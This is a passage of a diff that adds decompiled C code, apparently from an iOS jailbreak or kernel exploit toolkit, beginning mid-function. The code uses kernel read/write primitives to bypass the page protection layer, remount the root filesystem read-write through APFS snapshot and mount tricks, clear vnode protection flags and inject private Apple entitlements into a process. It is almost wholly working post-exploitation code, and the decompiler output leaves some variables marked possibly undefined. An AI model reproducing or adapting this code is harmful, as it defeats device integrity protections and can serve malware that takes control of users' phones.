0x2712000C6FFFFFLL) + || someLargeNumber > 0x225C23800FFFFFLL && a1->xnuMajorVersion < 10002) + || krw_ctx_has_flag(a1, 84934656) + && ((v7 = a1->someLargeNumber, v7 > 0x271200073FFFFFLL) || v7 > 0x225C1E804FFFFFLL && a1->xnuMajorVersion <= 10001) ) + { + v8 = sub_15D1C((__int64)a1, a2, a3); + return v8 == 0; + } + if ( krw_ctx_has_flag(a1, 85475328) ) + { + v10 = a1->someLargeNumber; + if ( v10 > 0x2712000C6FFFFFLL ) + goto LABEL_17; + if ( v10 > 0x225C23800FFFFFLL && a1->xnuMajorVersion < 10002 ) + goto LABEL_21; + } + if ( !krw_ctx_has_flag(a1, 84934656) ) + { +LABEL_22: + v8 = sub_22D6C(a1, a2, a3); + return v8 == 0; + } + v10 = a1->someLargeNumber; + if ( v10 <= 0x271200073FFFFFLL ) + { + if ( v10 > 0x225C1E804FFFFFLL && a1->xnuMajorVersion < 10002 ) + goto LABEL_21; + goto LABEL_22; + } +LABEL_17: + if ( v10 <= 0x27120A807FFFFFLL ) + { +LABEL_21: + v8 = sub_B768((__int64)a1, a2, a3); + return v8 == 0; + } + return 0; +} + +//----- (0000000000013AE4) ---------------------------------------------------- +__int64 __fastcall ppl_kwritebuf(__int64 ctx, unsigned __int64 vaddr, void *newBytes, int size) +{ + __int64 v8; // x20 + char v9; // w23 + unsigned int v10; // w26 + mach_vm_address_t vaddr_; // x25 + unsigned int v12; // w9 + size_t size_; // x24 + unsigned int v14; // w28 + char *newBytes_; // x26 + int v16; // w0 + vm_address_t address; // [xsp+8h] [xbp-58h] BYREF + + if ( vm_allocate(mach_task_self_, &address, *(unsigned int *)(ctx + 384), 1) ) + return 0; + v9 = kaddr_need_ppl_bypass(ctx, vaddr); + v10 = 0; + while ( 1 ) + { + vaddr_ = vaddr + v10; + v12 = *(_DWORD *)(ctx + 384) - (vaddr_ & *(_DWORD *)(ctx + 392)); + size_ = size - v10 <= v12 ? size - v10 : v12; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)ctx, vaddr + v10, size_, (void *)address) ) + break; + v14 = v10; + newBytes_ = (char *)newBytes + v10; + if ( memcmp((const void *)address, newBytes_, size_) ) + { + ppl_kwritebuf_nocheck(ctx, vaddr_, (__int64)newBytes_, size_, v9, 0); + if ( !v16 ) + break; + } + v10 = size_ + v14; + if ( (_DWORD)size_ + v14 == size ) + { + v8 = 1; + goto LABEL_13; + } + } + v8 = 0; +LABEL_13: + vm_deallocate(mach_task_self_, address, *(unsigned int *)(ctx + 384)); + return v8; +} +// 13BC4: variable 'v16' is possibly undefined + +//----- (0000000000013C14) ---------------------------------------------------- +bool __fastcall kaddr_need_ppl_bypass(__int64 ctx, unsigned __int64 vaddr) +{ + _BOOL8 result; // x0 + __int64 v5; // x8 + unsigned __int64 v6; // x9 + + result = 1; + if ( !sub_38544(ctx, vaddr, 0, vaddr) ) + { + v5 = *(_QWORD *)(ctx + 6648); + if ( !v5 ) + return 0; + v6 = *(_QWORD *)(v5 + 224); + if ( v6 > vaddr || *(_QWORD *)(v5 + 232) + v6 <= vaddr ) + return 0; + } + return result; +} + +//----- (0000000000013C78) ---------------------------------------------------- +void __fastcall ppl_kwritebuf_nocheck( + __int64 ctx, + mach_vm_address_t vaddr, + __int64 newBytes, + __int64 size, + char pplBypass, + int a6) +{ + __int64 v10; // x8 + mach_vm_address_t v11; // x1 + int v13; // w0 + int v14; // w0 + unsigned __int64 v15; // [xsp+8h] [xbp-58h] BYREF + unsigned __int8 v16; // [xsp+1Ch] [xbp-44h] + __int64 v17; // [xsp+28h] [xbp-38h] + __int64 vars8; // [xsp+68h] [xbp+8h] + + if ( vaddr ) + { + if ( newBytes ) + { + if ( (_DWORD)size ) + { + v10 = *(_QWORD *)(ctx + 392); + v11 = vaddr & ~v10; + if ( v11 == ((vaddr + (unsigned int)size - 1) & ~v10) ) + { + if ( (pplBypass & 1) != 0 ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_13304((struct_krwCtx *)ctx, vaddr, newBytes, size, a6); + } + else + { + sub_2183C(ctx, v11, (__int64)&v15); + if ( v13 && (v16 | 2) == 3 ) + { + if ( (v17 & 0x80) != 0 ) + { + sub_13844((struct_krwCtx *)ctx, v15, v17 & 0xFFFFFF7F); + if ( !v14 ) + return; + sub_2AABC(ctx, 0x2710u); + } + kwrite_something((struct_krwCtx *)ctx, vaddr, newBytes, size, a6); + } + } + } + } + } + } +} +// 13D20: variable 'v13' is possibly undefined +// 13D4C: variable 'v14' is possibly undefined + +//----- (0000000000013D9C) ---------------------------------------------------- +void __fastcall sub_13D9C(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3) +{ + char v6; // w0 + unsigned __int64 v7; // [xsp+0h] [xbp-30h] BYREF + __int64 v8; // [xsp+8h] [xbp-28h] BYREF + + v8 = a3; + if ( krw_ctx_has_flag(a1, 85475329) && kread64_outptr(a1, a2, &v7) && v7 != a3 ) + { + v6 = kaddr_need_ppl_bypass((__int64)a1, a2); + ppl_kwritebuf_nocheck((__int64)a1, a2, (__int64)&v8, (unsigned int)a1->int168, v6, 1); + } +} + +//----- (0000000000013E38) ---------------------------------------------------- +__int64 __fastcall kwrite_something(struct_krwCtx *a1, mach_vm_address_t a2, __int64 a3, __int64 a4, int a5) +{ + __int64 result; // x0 + + if ( !a5 || a1->int168 != (_DWORD)a4 ) + { + result = kwritebuf_last_1((__int64)a1, a2, a3, a4); + if ( !(_DWORD)result ) + return result; + return 1; + } + __memcpy_chk(); + result = kwrite64(a1, a2, 0); + if ( (_DWORD)result ) + return 1; + return result; +} + +//----- (0000000000013EBC) ---------------------------------------------------- +__int64 __fastcall check_rootfs_rw(__int64 ctx, int *outIsReadWrite) +{ + char *v3; // x20 + int isReadWrite; // w8 + __int16 v6; // [xsp+Eh] [xbp-8D2h] BYREF + char mnt1[48]; // [xsp+10h] [xbp-8D0h] BYREF + statfs v8; // [xsp+40h] [xbp-8A0h] BYREF + + bzero(&v8, 0x878u); + v6 = 47; + strcpy(mnt1, "/private/var/MobileSoftwareUpdate/mnt1"); + if ( sub_22CA8(0) ) + v3 = mnt1; + else + v3 = (char *)&v6; + if ( statfs(v3, &v8) ) + { + if ( *__error() != 2 ) + return 0; + } + else if ( !(*(_QWORD *)v8.f_mntfromname ^ 'sid/ved/' | *(_QWORD *)&v8.f_mntfromname[7] ^ '1s1s0ks') + && !strcmp(v3, v8.f_mntonname) ) + { + isReadWrite = (v8.f_flags & MNT_RDONLY) == 0; + goto LABEL_10; + } + isReadWrite = 3; +LABEL_10: + *outIsReadWrite = isReadWrite; + return 1; +} + +//----- (0000000000013FF8) ---------------------------------------------------- +bool __fastcall sub_13FF8(struct_krwCtx *a1, char *a2) +{ + int v3; // w8 + _BOOL8 v4; // x21 + __int64 v5; // x21 + int v6; // w0 + int v7; // w20 + __int64 v8; // x0 + int v10; // [xsp+4h] [xbp-2Ch] BYREF + __int64 v11; // [xsp+8h] [xbp-28h] BYREF + + v10 = 0; + v3 = a1->xnuMajorVersion; + if ( (unsigned int)(v3 - 8019) < 2 ) + { + v5 = 608; + } + else if ( v3 == 6153 ) + { + v5 = 520; + } + else + { + v4 = 0; + if ( v3 != 7195 ) + return v4; + if ( a1->someLargeNumber <= 0x1C1B19145FFFFFLL ) + v5 = 536; + else + v5 = 512; + } + v6 = open(a2, 0x100000); + if ( v6 < 0 ) + return 0; + v7 = v6; + v8 = ((__int64 (__fastcall *)(_DWORD *))sub_14164)(a1); + v11 = v8; + if ( v8 + && kread64_outptr(a1, v8 + v5, (unsigned __int64 *)&v11) + && validate_addr((__int64)a1, v11) + && kread64_outptr(a1, v11 + 224, (unsigned __int64 *)&v11) + && validate_addr((__int64)a1, v11) + && (unsigned int)kreadbuf_last_1(a1, v11 + 48, 4, &v10) ) + { + v10 &= ~0x4000u; + v4 = (unsigned int)kwritebuf_last_1((__int64)a1, v11 + 48, (__int64)&v10, 4) != 0; + } + else + { + v4 = 0; + } + close(v7); + return v4; +} + +//----- (0000000000014164) ---------------------------------------------------- +__int64 __fastcall sub_14164(struct_krwCtx *a1, int a2) +{ + int xnuMajorVersion; // w8 + __int64 result; // x0 + __int64 v7; // [xsp+8h] [xbp-18h] BYREF + + xnuMajorVersion = a1->xnuMajorVersion; + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 ) + return 0; + result = sub_14CA4(a1, a2); + if ( !result ) + return result; + v7 = result + 2296; + if ( !kread64_outptr(a1, result + 2296, (unsigned __int64 *)&v7) ) + return 0; + if ( validate_addr((__int64)a1, v7) ) + return v7; + return 0; +} + +//----- (00000000000141F0) ---------------------------------------------------- +__int64 __fastcall sub_141F0(__int64 a1) +{ + __int64 result; // x0 + unsigned int v3; // w20 + _BOOL4 v4; // w0 + char v6[2]; // [xsp+6h] [xbp-8CAh] BYREF + statfs v7; // [xsp+8h] [xbp-8C8h] BYREF + char v8[40]; // [xsp+880h] [xbp-50h] BYREF + + strcpy(v6, "/"); + strcpy(v8, "/private/var/MobileSoftwareUpdate/mnt1"); + bzero(&v7, 0x878u); + if ( statfs(v6, &v7) ) + return 0; + result = add_rw_to_disk((struct_krwCtx *)a1, v6, "/dev/disk0s1s1"); + if ( (_DWORD)result ) + { + v3 = 0; + do + { + usleep(0x186A0u); + v4 = sub_14444(v8); + if ( !v4 ) + break; + } + while ( v3++ < 0x32 ); + if ( !v4 ) + return 1; + add_rw_to_disk((struct_krwCtx *)a1, v6, v7.f_mntfromname); + return 0; + } + return result; +} + +//----- (00000000000142F8) ---------------------------------------------------- +__int64 __fastcall add_rw_to_disk(struct_krwCtx *a1, const char *a2, const char *a3) +{ + int v6; // w8 + size_t v9; // x0 + int v10; // w22 + int v11; // w0 + int v12; // w21 + __int64 v13; // x0 + __int64 v14; // x23 + __int64 arg_1; // x19 + int v17; // [xsp+Ch] [xbp-8B4h] BYREF + statfs v18; // [xsp+10h] [xbp-8B0h] BYREF + + bzero(&v18, 0x878u); + v17 = 0; + v6 = a1->xnuMajorVersion; + if ( (unsigned int)(v6 - 8019) >= 2 && v6 != 7195 && v6 != 6153 ) + return 0; + if ( statfs(a2, &v18) ) + return 0; + v9 = strlen(a3); + if ( v9 > 0x3FF ) + return 0; + v10 = v9; + v11 = open(a2, 0); + if ( v11 < 1 ) + return 0; + v12 = v11; + v13 = ((__int64 (__cdecl *)())sub_14CA4)(); + if ( v13 + && (v14 = v13 + 1252, (unsigned int)kreadbuf_last_1(a1, v13 + 1252, 4, &v17)) + && v17 == *(_DWORD *)v18.f_mntfromname ) + { + arg_1 = kwritebuf_last_1((__int64)a1, v14, (__int64)a3, (unsigned int)(v10 + 1)); + } + else + { + arg_1 = 0; + } + close(v12); + return arg_1; +} + +//----- (0000000000014444) ---------------------------------------------------- +bool __fastcall sub_14444(const char *a1) +{ + statfs v3; // [xsp+0h] [xbp-8A0h] BYREF + + bzero(&v3, 0x878u); + if ( statfs(a1, &v3) ) + { + __error(); + } + else if ( !(*(_QWORD *)v3.f_mntfromname ^ 0x7369642F7665642FLL | *(_QWORD *)&v3.f_mntfromname[7] ^ 0x31733173306B73LL) ) + { + return strcmp(a1, v3.f_mntonname) == 0; + } + return 0; +} + +//----- (0000000000014524) ---------------------------------------------------- +__int64 __fastcall sub_14524(struct_krwCtx *a1, int a2) +{ + _BOOL4 v4; // w21 + char *v5; // x0 + const char *v6; // x1 + char v7; // w2 + __int64 v8; // x20 + struct_krwCtx *v9; // x0 + int v10; // w1 + const char *v11; // x8 + int v12; // w20 + int v13; // w21 + int v14; // w0 + _BOOL4 v16; // w0 + char v18[3]; // [xsp+4h] [xbp-8Ch] BYREF + bool v19; // [xsp+7h] [xbp-89h] BYREF + statfs *v20; // [xsp+8h] [xbp-88h] BYREF + char __s1[39]; // [xsp+10h] [xbp-80h] BYREF + const char *v22[6]; // [xsp+38h] [xbp-58h] BYREF + + v19 = 0; + strcpy(__s1, "/private/var/MobileSoftwareUpdate/mnt1"); + strcpy(v18, "/"); + krw_ctx_set_flag(a1, 1024); + if ( !(unsigned int)sub_154D0( + (__int64)a1, + mach_task_self_, + "com.apple.private.vfs.snapshot", + 0, + 8) ) + return 0; + if ( !(unsigned int)sub_226D4() ) + return 0; + v4 = sub_22CA8(&v19); + if ( v4 && !v19 && !(unsigned int)sub_141F0((__int64)a1) ) + return 0; + if ( a2 == 4 || a2 == 2 ) + { + if ( !v4 ) + { + v7 = a2 == 4; + v6 = "orig-fs"; + v5 = v18; +LABEL_18: + v8 = sub_228E4(v5, v6, v7); + if ( !(_DWORD)v8 ) + return v8; + goto LABEL_21; + } + if ( !sub_14444(__s1) ) + { + v8 = 1; +LABEL_21: + sub_36088(a1, 1024); + return v8; + } + if ( (unsigned int)sub_148A4(a1, __s1) ) + { + v5 = __s1; + v6 = 0; + v7 = 0; + goto LABEL_18; + } + return 0; + } + if ( !v4 ) + { + if ( a2 == 1 ) + { + if ( !(unsigned int)sub_22ADC(v18, "orig-fs") ) + return 0; + v9 = a1; + v10 = 1; + } + else + { + v9 = a1; + v10 = 0; + } + return sub_14920(v9, v10); + } + if ( sub_14444(__s1) ) + { + if ( a2 == 1 ) + { + if ( !(unsigned int)sub_22ADC(__s1, 0) ) + return 0; + return (unsigned int)sub_14EC4((__int64)"/dev/disk0s1s1", __s1, 0x110000u) == 0; + } + return sub_148A4(a1, __s1); + } + if ( !(unsigned int)add_rw_to_disk(a1, v18, "/dev/disk0s1s1") ) + return 0; + v11 = "rdonly,nobrowse"; + v20 = 0; + v22[0] = "/sbin/mount_apfs"; + v22[1] = "-o"; + if ( a2 == 1 ) + v11 = "nobrowse"; + v22[2] = v11; + v22[3] = "/dev/disk0s1s1"; + v22[4] = __s1; + v22[5] = 0; + if ( !memcmp(__s1, "/private/var/MobileSoftwareUpdate", 0x21u) + && mkdir("/private/var/MobileSoftwareUpdate", 0x1FFu) + && *__error() != 17 ) + { + return 0; + } + if ( !(unsigned int)krw_inject_entitlements_maybe( + a1, + mach_task_self_, + "com.apple.private.security.disk-device-access") ) + return 0; + v12 = mkdir(__s1, 0x1FFu); + if ( v12 ) + { + if ( *__error() != 17 ) + return 0; + } + if ( a1->xnuMajorVersion >= 6153 && chown(__s1, 0x1F5u, 0x1F5u) ) + return 0; + v13 = 6; + while ( 1 ) + { + v14 = sub_2B788(v22); + if ( v14 != 49 ) + break; + getmntinfo(&v20, 0); + usleep(0xC8u); + if ( !--v13 ) + goto LABEL_47; + } + if ( !v14 ) + { + v16 = sub_14444(__s1); + goto LABEL_48; + } +LABEL_47: + v16 = 0; +LABEL_48: + if ( !(v16 | v12) ) + { + rmdir(__s1); + return 0; + } + if ( !v16 ) + return 0; + if ( !sub_13FF8(a1, v18) || (v8 = sub_22ADC(__s1, 0), !(_DWORD)v8) ) + { + sub_148A4(a1, __s1); + return 0; + } + return v8; +} + +//----- (00000000000148A4) ---------------------------------------------------- +__int64 __fastcall sub_148A4(struct_krwCtx *a1, char *a2) +{ + __int64 result; // x0 + int v5; // [xsp+Ch] [xbp-14h] BYREF + + v5 = 0; + result = sub_14D98(a1, a2, 1, (unsigned int *)&v5); + if ( (_DWORD)result ) + { + if ( (unsigned int)sub_14EC4((__int64)"/dev/disk0s1s1", a2, 0x110001u) ) + { + sub_14D98(a1, a2, v5, 0); + return 0; + } + else + { + return 1; + } + } + return result; +} + +//----- (0000000000014920) ---------------------------------------------------- +__int64 __fastcall sub_14920(struct_krwCtx *a1, int a2) +{ + unsigned int v4; // w0 + __int64 v5; // x24 + char *f_mntonname; // x21 + unsigned __int64 v7; // x23 + _BOOL4 v8; // w0 + __int64 v9; // x24 + _BOOL4 v10; // w21 + int v11; // w0 + int v12; // w22 + int xnuMajorVersion; // w8 + __int64 v14; // x0 + int v15; // w0 + int v16; // w24 + int v17; // w2 + int v18; // w0 + int v20; // [xsp+0h] [xbp-50h] BYREF + int v21; // [xsp+4h] [xbp-4Ch] BYREF + statfs *v22; // [xsp+8h] [xbp-48h] BYREF + + v22 = 0; + v4 = getmntinfo(&v22, 0); + if ( v4 ) + { + v5 = v4; + f_mntonname = v22->f_mntonname; + v7 = 1; + do + { + if ( !strcmp("/", f_mntonname) ) + v7 = *(f_mntonname - 24) & 1; + f_mntonname += 2168; + --v5; + } + while ( v5 ); + } + else + { + v7 = 1; + } + v8 = sub_14F9C(); + v21 = 0; + if ( ((v7 & 1) == 0) == a2 ) + return 1; + v10 = v8; + if ( a2 ) + { + v11 = open("/", 0); + if ( v11 == -1 ) + return 0; + v12 = v11; + xnuMajorVersion = a1->xnuMajorVersion; + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 ) + return 0; + v14 = sub_14CA4(a1, v11); + v9 = 0; + if ( !v14 ) + return v9; + v7 = v14 + 112; + if ( v14 == -112 ) + return v9; + if ( !kread32_outptr((__int64)a1, v7, &v20) ) + return 0; + v20 &= ~0x4000u; + if ( !noppl_kwrite32((__int64)a1, v7, v20) ) + return 0; + v15 = open("/", 0); + if ( (v15 & 0x80000000) == 0 ) + { + v16 = v15; + LODWORD(v22) = 0; + ffsctl(v15, 0x80046814, &v22, 0); + LODWORD(v22) = 1; + ffsctl(v16, 0x80046815, &v22, 0); + LODWORD(v22) = 2; + if ( v10 ) + { + ffsctl(v16, 0x80044A11, &v22, 0); + LODWORD(v22) = 3; + } + ffsctl(v16, 0x80046816, &v22, 0); + close(v16); + } + v17 = 0x10000; + } + else + { + if ( v8 && !(unsigned int)sub_14D98(a1, "/", 1, (unsigned int *)&v21) ) + return 0; + v17 = 268500993; + v12 = -1; + } + if ( v10 ) + v18 = sub_14EC4((__int64)"/dev/disk0s1s1", "/", v17); + else + v18 = sub_14F5C((__int64)"/dev/disk0s1s1", "/", v17); + if ( v18 == -1 ) + { + v9 = 0; + if ( a2 ) + goto LABEL_32; + } + else + { + v9 = 1; + if ( a2 ) + { +LABEL_32: + if ( kread32_outptr((__int64)a1, v7, &v20) ) + { + v20 |= 0x4000u; + if ( noppl_kwrite32((__int64)a1, v7, v20) ) + { + close(v12); + return v9; + } + } + return 0; + } + } + if ( (((unsigned int)v9 | !v10) & 1) == 0 && !(unsigned int)sub_14D98(a1, "/", v21, 0) ) + return 0; + return v9; +} + +//----- (0000000000014BEC) ---------------------------------------------------- +__int64 __fastcall sub_14BEC(__int64 a1, void *a2, _DWORD *a3, _BOOL4 *a4) +{ + _BOOL4 v7; // w20 + const char *v8; // x23 + size_t v9; // x24 + __int64 result; // x0 + + v7 = sub_22CA8(0); + if ( v7 ) + { + if ( !sub_14444("/private/var/MobileSoftwareUpdate/mnt1") ) + { + LODWORD(v9) = 0; +LABEL_10: + *a3 = v9; + result = 1; + if ( !a4 ) + return result; + goto LABEL_11; + } + v8 = "/private/var/MobileSoftwareUpdate/mnt1/"; + } + else + { + v8 = "/"; + } + v9 = strlen(v8) + 1; + if ( v9 <= (unsigned int)*a3 ) + { + memcpy(a2, v8, v9); + goto LABEL_10; + } + result = 0; + if ( a4 ) +LABEL_11: + *a4 = v7; + return result; +} + +//----- (0000000000014CA4) ---------------------------------------------------- +__int64 __fastcall sub_14CA4(struct_krwCtx *a1, int w1_0) +{ + __int64 v3; // x19 + unsigned __int64 v4; // x0 + int xnuMajorVersion; // w8 + __int64 v9; // [xsp+8h] [xbp-28h] BYREF + unsigned __int64 v10; // [xsp+10h] [xbp-20h] BYREF + mach_port_t a2; // [xsp+1Ch] [xbp-14h] BYREF + + a2 = 0; + if ( !(unsigned int)j__fileport_makeport(w1_0, &a2) && a2 ) + { + v4 = port_name_to_kaddr(a1, a2); + if ( !v4 ) + goto LABEL_19; + xnuMajorVersion = a1->xnuMajorVersion; + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 ) + return 0; + if ( kread64_outptr(a1, v4 + 56, &v10) + && validate_addr((__int64)a1, v10) + && kread64_outptr(a1, v10 + 216, (unsigned __int64 *)&v9) ) + { + if ( validate_addr((__int64)a1, v9) ) + v3 = v9; + else + v3 = 0; + } + else + { +LABEL_19: + v3 = 0; + } + mach_port_destroy(mach_task_self_, a2); + return v3; + } + return 0; +} + +//----- (0000000000014D98) ---------------------------------------------------- +__int64 __fastcall sub_14D98(struct_krwCtx *a1, char *a2, int a3, unsigned int *a4) +{ + int v7; // w0 + int v8; // w19 + __int64 v9; // x0 + int xnuMajorVersion; // w8 + __int64 v11; // x8 + __int64 v12; // x23 + mach_vm_address_t v13; // x24 + unsigned int v15; // [xsp+Ch] [xbp-34h] BYREF + + v7 = open(a2, 0); + if ( v7 != -1 ) + { + v8 = v7; + v9 = sub_14164(a1, v7); + if ( v9 ) + { + xnuMajorVersion = a1->xnuMajorVersion; + if ( (unsigned int)(xnuMajorVersion - 8019) < 2 ) + { + v11 = 548; + } + else if ( xnuMajorVersion == 6153 ) + { + v11 = 456; + } + else + { + if ( xnuMajorVersion != 7195 ) + goto LABEL_18; + v11 = 476; + if ( a1->someLargeNumber > 0x1C1B19145FFFFFLL ) + v11 = 452; + } + v13 = v11 + v9; + v12 = 0; + if ( !kread32_outptr((__int64)a1, v11 + v9, &v15) || v15 > 1 ) + goto LABEL_19; + if ( noppl_kwrite32((__int64)a1, v13, a3) ) + { + if ( a4 ) + *a4 = v15; + v12 = 1; + goto LABEL_19; + } + } +LABEL_18: + v12 = 0; +LABEL_19: + close(v8); + return v12; + } + return 0; +} + +//----- (0000000000014EC4) ---------------------------------------------------- +__int64 __fastcall sub_14EC4(__int64 a1, const char *a2, unsigned int a3) +{ + _QWORD v4[2]; // [xsp+0h] [xbp-140h] BYREF + __int128 v5; // [xsp+10h] [xbp-130h] + __int128 v6; // [xsp+20h] [xbp-120h] + __int128 v7; // [xsp+30h] [xbp-110h] + __int128 v8; // [xsp+40h] [xbp-100h] + __int128 v9; // [xsp+50h] [xbp-F0h] + __int128 v10; // [xsp+60h] [xbp-E0h] + __int128 v11; // [xsp+70h] [xbp-D0h] + __int128 v12; // [xsp+80h] [xbp-C0h] + __int128 v13; // [xsp+90h] [xbp-B0h] + __int128 v14; // [xsp+A0h] [xbp-A0h] + __int128 v15; // [xsp+B0h] [xbp-90h] + __int128 v16; // [xsp+C0h] [xbp-80h] + __int128 v17; // [xsp+D0h] [xbp-70h] + __int128 v18; // [xsp+E0h] [xbp-60h] + __int128 v19; // [xsp+F0h] [xbp-50h] + __int128 v20; // [xsp+100h] [xbp-40h] + __int128 v21; // [xsp+110h] [xbp-30h] + __int64 v22; // [xsp+120h] [xbp-20h] + + v22 = 0; + v20 = 0u; + v21 = 0u; + v18 = 0u; + v19 = 0u; + v16 = 0u; + v17 = 0u; + v14 = 0u; + v15 = 0u; + v12 = 0u; + v13 = 0u; + v10 = 0u; + v11 = 0u; + v8 = 0u; + v9 = 0u; + v6 = 0u; + v7 = 0u; + v5 = 0u; + v4[0] = a1; + v4[1] = a3; + return mount("apfs", a2, a3, v4); +} + +//----- (0000000000014F5C) ---------------------------------------------------- +__int64 __fastcall sub_14F5C(__int64 a1, const char *a2, int a3) +{ + __int64 v4; // [xsp+0h] [xbp-30h] BYREF + __int128 v5; // [xsp+8h] [xbp-28h] + __int128 v6; // [xsp+18h] [xbp-18h] + __int64 v7; // [xsp+28h] [xbp-8h] + + v7 = 0; + v6 = 0u; + v5 = 0u; + v4 = a1; + return mount("hfs", a2, a3, &v4); +} + +//----- (0000000000014F9C) ---------------------------------------------------- +bool sub_14F9C() +{ + unsigned int v0; // w0 + bool v1; // w23 + __int64 v2; // x22 + char *f_mntonname; // x19 + statfs *v5; // [xsp+8h] [xbp-38h] BYREF + + v5 = 0; + v0 = getmntinfo(&v5, 0); + v1 = 0; + if ( v0 ) + { + v2 = v0; + f_mntonname = v5->f_mntonname; + do + { + if ( !strcmp("/", f_mntonname) ) + v1 = strncmp("apfs", f_mntonname - 16, 0x10u) == 0; + f_mntonname += 2168; + --v2; + } + while ( v2 ); + } + return v1; +} + +//----- (000000000001503C) ---------------------------------------------------- +__int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml) +{ + int v4; // w23 + _BOOL8 v7; // x24 + void *v8; // x22 + CFPropertyListRef v9; // x21 + const __CFData *v10; // x20 + size_t v11; // x0 + void *(__cdecl *v12)(void *); // x0 + const __CFData *Data; // x0 + const __CFData *v14; // x23 + size_t Length; // x24 + const UInt8 *BytePtr; // x0 + int v17; // w0 + unsigned int v18; // w0 + mach_port_name_t v19; // w23 + int v20; // w8 + unsigned __int64 v21; // x0 + int v22; // w23 + CFPropertyListFormat format; // [xsp+8h] [xbp-108h] BYREF + CFTypeRef cf; // [xsp+10h] [xbp-100h] BYREF + __int64 address; // [xsp+18h] [xbp-F8h] BYREF + int v26; // [xsp+20h] [xbp-F0h] + CFTypeRef v27; // [xsp+28h] [xbp-E8h] + mach_port_name_t name[2]; // [xsp+30h] [xbp-E0h] BYREF + int v29; // [xsp+38h] [xbp-D8h] + pthread_t v30; // [xsp+40h] [xbp-D0h] BYREF + pthread_attr_t v31; // [xsp+48h] [xbp-C8h] BYREF + __int64 vars8; // [xsp+118h] [xbp+8h] + + v4 = task; + format = kCFPropertyListXMLFormat_v1_0; + cf = 0; + if ( krwCtx->someLargeNumber < 0x1F530000000000LL ) + { + v7 = 0; + if ( (unsigned int)sub_251A4((__int64)krwCtx, 0, 0x2710u) ) + return v7; + v31.__sig = (__int64)krwCtx; + *(_DWORD *)&v31.__opaque[4] = 0; + *(_DWORD *)v31.__opaque = v4; + *(_QWORD *)&v31.__opaque[8] = &cf; + *(_QWORD *)&v31.__opaque[16] = 0; + v7 = 0; + v8 = 0; + if ( pthread_create_and_join((__int64)krwCtx, (__int64)sub_155A0, &v31) ) + { + v9 = 0; + v10 = 0; + if ( *(_DWORD *)&v31.__opaque[16] ) + { + v11 = strlen(entitlementXml); + v10 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, (const UInt8 *)entitlementXml, v11 + 1, kCFAllocatorNull); + if ( !v10 ) + { + v8 = 0; + v9 = 0; + goto LABEL_15; + } + v9 = CFPropertyListCreateWithData(kCFAllocatorDefault, v10, 0, &format, 0); + if ( !v9 ) + goto LABEL_12; + if ( (unsigned int)sub_12BF4(cf, v9) ) + { + if ( (unsigned int)sub_12954(cf, v9) ) + { +LABEL_12: + v8 = 0; + goto LABEL_15; + } + if ( krwCtx->someLargeNumber >= 0x1C1B0A80100000LL && (krwCtx->flags & 0x5584001) != 0 ) + { + address = (__int64)krwCtx; + v26 = v4; + v27 = cf; + if ( pthread_attr_init(&v31) ) + goto LABEL_12; + if ( pthread_attr_setdetachstate(&v31, 1) + || (v30 = 0, + v29 = 4097, + *(_QWORD *)name = &address, + v12 = (void *(__cdecl *)(void *))nullsub_1(sub_15880), + pthread_create(&v30, &v31, v12, name)) + || pthread_join(v30, 0) ) + { + pthread_attr_destroy(&v31); + goto LABEL_12; + } + v22 = v29; + pthread_attr_destroy(&v31); + v8 = 0; + if ( v22 ) + goto LABEL_15; + } + else + { + Data = CFPropertyListCreateData(kCFAllocatorDefault, cf, kCFPropertyListXMLFormat_v1_0, 0, 0); + if ( !Data ) + goto LABEL_12; + v14 = Data; + Length = CFDataGetLength(Data); + v8 = calloc(Length + 1, 1u); + if ( !v8 ) + { + CFRelease(v14); + goto LABEL_15; + } + BytePtr = CFDataGetBytePtr(v14); + memcpy(v8, BytePtr, Length); + CFRelease(v14); + name[0] = 0; + address = 0; + v17 = strlen((const char *)v8); + v18 = sub_24FC0((__int64)v8, v17 + 1, name); + if ( v18 + 1 <= 1 ) + { +LABEL_15: + v7 = 0; + goto LABEL_16; + } + v19 = v18; + v20 = krwCtx->xnuMajorVersion; + v7 = ((unsigned int)(v20 - 8019) < 2 || v20 == 7195 || v20 == 6153) + && (v21 = port_name_to_kaddr(krwCtx, v18), (address = v21) != 0) + && kread64_outptr(krwCtx, v21 + 16, (unsigned __int64 *)&address) + && kread64_outptr(krwCtx, address + 24, (unsigned __int64 *)&address) + && noppl_kwrite32((__int64)krwCtx, address + krwCtx->int168, 255) + && (unsigned int)kreadbuf_last_1(krwCtx, address, 40, &v31) + && (unsigned int)kwritebuf_last_1( + (__int64)krwCtx, + krwCtx->gap191[4] + krwCtx->int168, + (__int64)&v31 + krwCtx->int168, + (unsigned int)(40 - krwCtx->int168)) != 0; + mach_port_destroy(mach_task_self_, v19); + if ( name[0] + 1 >= 2 ) + mach_port_destroy(mach_task_self_, name[0]); + if ( !v7 ) + goto LABEL_16; + } + } + else + { + v8 = 0; + } + v7 = 1; + } + } + else + { + v9 = 0; + v10 = 0; + } +LABEL_16: + sub_25164((__int64)krwCtx, 0); + if ( cf ) + CFRelease(cf); + if ( v9 ) + CFRelease(v9); + if ( v10 ) + CFRelease(v10); + if ( v8 ) + free(v8); + return v7; + } + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return krw_inject_entitlements2_maybe(krwCtx, task, entitlementXml, 1); +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000154D0) ---------------------------------------------------- +__int64 __fastcall sub_154D0(__int64 a1, __int64 a2, char *a3, __int64 a4, int a5) +{ + __int64 result; // x0 + __int64 v10; // x23 + int v11; // [xsp+Ch] [xbp-34h] BYREF + + v11 = 0; + if ( (a5 & 0xB) == 0 ) + return 0; + result = task_self_get_ipc_port((struct_krwCtx *)a1, a2); + if ( result ) + { + result = sub_329B8(a1, result); + if ( result ) + { + v10 = result; + result = kreadbuf_last_1((struct_krwCtx *)a1, result, 4, &v11); 